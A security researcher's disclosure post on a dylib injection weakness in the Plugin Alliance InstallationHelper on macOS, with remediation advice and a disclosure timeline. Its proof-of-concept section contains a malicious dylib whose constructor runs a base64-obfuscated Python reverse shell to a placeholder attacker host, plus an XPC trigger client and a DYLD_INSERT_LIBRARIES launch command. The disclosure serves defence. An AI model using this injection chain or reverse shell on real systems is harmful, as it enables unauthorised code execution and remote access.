Plugin Alliance - InstallationHelper dylib Injection on macOS

Note: The intent of this publication is to promote remediation and improve the security posture of the affected software. This disclosure follows the 90-day industry standard timeline for responsible reporting. Want the details? Keep scrolling. The full timeline and contact history are available further down the page.

Introduction

This is post 1 of 2 in my security review of the Plugin Alliance Installation Manager.

Hello!

In this post I want to walk you through a fun little vulnerability I found while poking around the Plugin Alliance InstallationHelper on macOS.

If you’ve never looked at it before, it’s basically a small background tool that steps in when the Plugin Alliance app needs to install or update something. Because macOS locks down a lot of system locations, the main app can’t just drop files wherever it wants so this helper runs as root and handles the “privileged” parts of the install process for it.

In other words, it’s the thing actually putting files in protected directories, setting permissions, and doing the behind the scenes work that normal apps aren’t allowed to do. And, as you can imagine, anything that runs as root is worth a closer look.

I wanted to see how well it held up against local attacks. It’s a privileged component, so if anything goes wrong here, the impact can get serious fast.

The InstallationHelper from Plugin Alliance isn’t protected by hardened runtime, it has no __RESTRICT segment, and its entitlements are wide open. That combination leaves the door open for dylib injection.

It was possible to exploit DYLD_INSERT_LIBRARIES, I was able to get the helper to load a malicious library. The PoC showed that a normal local user could trigger the helper and run arbitrary code (though still partially limited by SIP).

This article breaks down how the issue works, how I found it, and how it can be exploited in practice.

Let’s go!

Vulnerability Overview

So we know that the Plugin Alliance InstallationHelper is running as root, but it’s missing several protections that macOS normally expects from privileged binaries. These protections exist to prevent things like dylib injection, so their absence opens the door to some interesting attack paths.

The first issue shows up before we even get into dynamic loading. The binary simply doesn’t include a __RESTRICT segment.

macOS uses the __RESTRICT segment (and its accompanying __restrict section) to lock down how a binary interacts with dynamic libraries. When this segment is missing, the system won’t enforce certain restrictions around library loading, which becomes dangerous for processes running as root.

A quick otool check confirms the absence:

$ otool -l com.plugin-alliance.pa-installationhelper | grep __RESTRICT

Since the binary lacks a __RESTRICT segment, macOS doesn’t block DYLD_* environment variables. That alone already opens the door for library injection, but the situation gets worse when we look at the Mach-O header.

Running otool on the helper shows its runtime flags:

$ otool -hv /Library/PrivilegedHelperTools/com.plugin-alliance.pa-installationhelper

One thing stands out immediately the HARDENED_RUNTIME flag is completely missing.

Little backstory… Apple introduced hardened runtime back in macOS Mojave to enforce stricter code-signing rules, library validation, and to prevent exactly this kind of DYLD based injection. Without it, the system trusts whatever libraries the process loads even if they come from attacker controlled paths.

So at this point, we have a root privileged binary that doesn’t restrict DYLD variables, doesn’t validate injected libraries and can be influenced by an unprivileged user

Before looking at exploitation paths, it’s worth checking how the helper is signed. Code signing configuration is supposed to tell macOS what a binary is allowed to do at runtime. Things like whether it should enforce hardened runtime, whether it validates loaded libraries, and whether its resources are sealed. For privileged tools, these settings are a major part of preventing injection attacks (like this one).

Running codesign on the InstallationHelper gives us its signing details:

$ codesign -dvvv /Library/PrivilegedHelperTools/com.plugin-alliance.pa-installationhelper

The binary is signed with Plugin Alliance’s Developer ID certificate, but that’s about all it has going for it. There’s no hardened runtime, no library validation, and no resource sealing. Without those protections, the signature doesn’t actually stop the helper from loading untrusted code. Even though the binary has a valid Developer ID, macOS isn’t enforcing any of the security features that would normally matter for preventing injection.

Next, I checked the helper’s entitlements to see whether it was explicitly requesting anything risky.

The output is basically empty:

$ codesign --display --entitlements - /Library/PrivilegedHelperTools/com.plugin-alliance.pa-installationhelper

There are no dangerous entitlements like disable-library-validation or allow-dyld-environment-variables, which is good but unfortunately, it doesn’t help much in this case.

Entitlements only matter if hardened runtime is enabled, because that’s what makes macOS enforce things like library validation in the first place. Since hardened runtime is missing entirely, the lack of dangerous entitlements doesn’t prevent DYLD injection. Combined with the missing __RESTRICT segment, the helper remains fully exposed.

So even though the entitlement set is minimal, the real protections that would have mattered simply aren’t there.

Proof of Concept

To verify that the dylib injection was exploitable, I built a simple PoC setup. The goal was to force the InstallationHelper to load a malicious dynamic library using DYLD_INSERT_LIBRARIES.

The PoC used three small components:

  1. Malicious dylib
    This library includes a constructor function that runs automatically as soon as it’s loaded. The constructor writes basic process information (PID, UID, EUID, etc.) to a file in /tmp so it’s easy to confirm when the code has executed inside the helper’s context. I also had the dylib attempt an outbound connection to a controlled VM just to show that arbitrary code was indeed running inside the helper’s context.
  2. A minimal XPC client
    The helper is triggered through an XPC interface, so the PoC includes a tiny client that simply connects to the com.plugin-alliance.pa-installationhelper service. Connecting is enough to cause the helper to launch, which gives us a reliable execution point.
  3. An execution step that sets DYLD_INSERT_LIBRARIES
    When launching the XPC client, the environment variable is set to point at the malicious dylib. Because the helper lacks hardened runtime and has no __RESTRICT segment, the dynamic loader doesn’t block this, and the helper is started with the injected library attached.

Malicious dylib

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <mach/mach.h>
#include <syslog.h>
#include <libproc.h>
#include <stdlib.h>

__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
    FILE *f = fopen("/tmp/dylib_python_shell", "w");
    if (f) {
        fprintf(f, "=== DYLIB PYTHON SHELL ATTEMPT ===\n");
        fprintf(f, "PID: %d\n", getpid());
        fprintf(f, "UID: %d\n", getuid());
        fprintf(f, "EUID: %d\n", geteuid());

        // Attempt Python reverse shell using base64 encoding
        fprintf(f, "Attempting Python reverse shell...\n");

        system(echo
'aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5F
VCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIkFUVEFDS0VSSVAiLDEzMzcpKTtvcy5kd
XAyKHMuZmlsZW5vKCksMCk7b3MuZHVwMihzLmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKS
wyKTtzdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwiLWkiXSk7' | base64 -d
| python3 &");

        fprintf(f, "Python reverse shell command executed\n");
        fclose(f);
    }

    printf("[+] Python shell dylib constructor called\n");
    syslog(LOG_ERR, "[+] Python shell dylib constructor called\n");
}

XPC Client

To trigger the vulnerable helper, I used a lightweight Objective-C XPC client. The client doesn’t need to perform any privileged actions.Simply connecting to the service is enough to make the InstallationHelper launch, which in turn loads the injected dylib.

The client connects to the helper’s Mach service and invokes a harmless method (getVersionWithReply:). This is just a convenient way to create activity inside the helper so it loads normally, giving the injected dylib a chance to execute its constructor.

#import <Foundation/Foundation.h>

static NSString* XPCHelperMachServiceName = @"com.plugin-alliance.pa-installationhelper";

@protocol InstallationHelperProtocol
- (void)getVersionWithReply:(void (^)(NSString *))v1;
@end

int main(void) {
    @autoreleasepool {
        NSLog(@"[+] Testing dylib injection with service connection...");

        // Connect to service (triggers dylib injection)
        NSXPCConnection* connection = [[NSXPCConnection alloc]
            initWithMachServiceName:XPCHelperMachServiceName options:0x1000];

        NSXPCInterface* interface =
            [NSXPCInterface interfaceWithProtocol:@protocol(InstallationHelperProtocol)];

        [connection setRemoteObjectInterface:interface];
        [connection resume];

        id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError* error) {
            NSLog(@"[-] Connection failed: %@", error);
        }];

        NSLog(@"[+] Connected to service successfully!");

        // Trigger service activity
        [obj getVersionWithReply:^(NSString *version) {
            NSLog(@"[+] Service version: %@", version);
        }];

        [NSThread sleepForTimeInterval:2.0f];

        NSLog(@"[+] Test complete. Check for dylib injection artifacts.");
    }
    return 0;
}

To demonstrate the injection, the dylib is pre-loaded into the privileged helper by setting DYLD_INSERT_LIBRARIES before running the client:

DYLD_INSERT_LIBRARIES="$(pwd)/injection_dylib.dylib" ./dylib-injection

Now, on modern macOS, SIP normally strips DYLD_* variables when launching system services. But because the InstallationHelper binary lacks hardened runtime and has no __RESTRICT segment, macOS doesn’t block or validate the injected library. As a result, the helper launches with the malicious dylib attached, and the constructor executes inside a root-owned process during the XPC interaction.

Once the dylib ran, it made an outbound connection back to the listener!

The session was running with the same user as the launching user rather than as root. This is expected with SIP enabled, macOS strips dangerous DYLD_* variables when interacting with system level helpers. However, the fact that the dylib was loaded at all confirms that the helper does zero environment sanitization on its own, and its lack of hardened runtime or a __RESTRICT segment means it remains vulnerable on SIP disabled or misconfigured systems.

To get a clearer picture of what the helper was doing internally, I monitored system logs while repeatedly triggering connections to the com.plugin-alliance.pa-installationhelper service. The logs showed the helper accepting incoming XPC connections without performing any kind of validation or environment cleanup.

Remediation

To properly fix this issue, the InstallationHelper service needs to be hardened so it can’t be tricked into loading untrusted libraries. The following changes would close off the injection path:

  • Enable hardened runtime when compiling the helper. This forces macOS to validate any libraries the process loads and blocks all DYLD_* environment variables by default.
  • Add a __RESTRICT segment to the Mach-O binary. This prevents DYLD injection tricks from working, even if the environment is tampered with.
  • Sanitize the environment at startup, clearing variables like DYLD_INSERT_LIBRARIES and anything else in the DYLD_* family before the helper executes.
  • Use sandboxing or additional process isolation where practical to limit what the helper can interact with.

Putting these protections in place make sure that malicious dylibs can’t be injected even on systems where SIP is disabled or misconfigured.

Closing Thoughts

This vulnerability is a good reminder that even small helper tools can introduce outsized risk when they run with elevated privileges. In this case, the InstallationHelper wasn’t doing anything obviously dangerous on the surface but the lack of hardened runtime, missing __RESTRICT segment, and unsanitized environment variables created the perfect conditions for reliable dylib injection.

None of this is complicated exploitation. It’s simply the result of a privileged binary shipping without the modern protections macOS expects. Once those safeguards are missing, normal system mechanisms like SIP become the only line of defense, and that’s never a position a privileged component should rely on.

In the next part of this series, I’ll break down a second vulnerability I discovered during the same research, which builds on some of the themes from the Acustica Audio article.

Happy hacking :)

Disclosure timeline

Date Action
August 1, 2025Vulnerability discovered during local security analysis of Plugin Alliance Installation Manager and its helper components.
August 1, 2025Initial technical validation and proof-of-concept developed confirming dylb injection
August 2, 2025Full vulnerability report prepared, including reproduction steps and secure remediation guidance.
August 2, 2025Responsible disclosure email sent to Plugin Alliance with attached reports and researcher PGP key requesting a secure communication channel.
August 18, 2025No acknowledgment received from the vendor. Escalation attempt submitted to MITRE CVE Program for coordination assistance.
November 19, 2025No vendor or CNA response received. Proceeding with public disclosure in accordance with a 90-day disclosure policy.